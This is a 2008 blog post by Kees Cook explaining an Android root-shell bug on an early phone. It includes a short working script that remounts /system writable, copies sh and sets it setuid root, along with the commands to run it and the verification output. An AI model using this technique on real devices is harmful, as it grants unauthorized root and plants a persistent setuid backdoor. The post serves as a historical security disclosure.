People noticed that running telnetd seemed to run as root. Later it was discovered that everything you typed was being run by the root user also. So, that ends the first mystery: when you typed “telnetd
” both the Terminal user and root ran it. It would fail (without error messages) for the Terminal user, and run successfully for the root user. So now, the question is, what the f is a root shell doing mirroring user input?!
So, there is a much easier way to get root that doesn’t require network connectivity. While the /sdcard
mount point is nosuid,noexec
, it’ll still run scripts if you explicitly direct them to run. It seems that the weird background root shell doesn’t understand the alt-keys, so it can only run stuff that can be typed without using alt, shift, etc. So, put the following in /sdcard/pwn
:
mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
cd /system/bin
cat sh > sh.root
chmod 4755 sh.root
mount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system
You can either do this by dropping the file in place over USB mass storage, or you can type it via the Terminal using “cat
“. (Rebooting here might help get the root shell in a sane state.) Finally, just navigate there without slashes and run the script:
$ cd sdcard
$ sh pwn
You’ll see lots of errors (but these are only from the Terminal user). The script is, however, run by the root shell too. You can verify the results:
$ ls -l /system/bin/sh*
-rwxr-xr-x root shell 86936 2008-09-13 00:13 sh
-rwsr-xr-x root root 86936 2008-11-09 10:12 sh.root
Next up: cross-compiling a little helper to elevate to real UID 0, and require a password to keep malware from looking for setuid shells.
© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 License.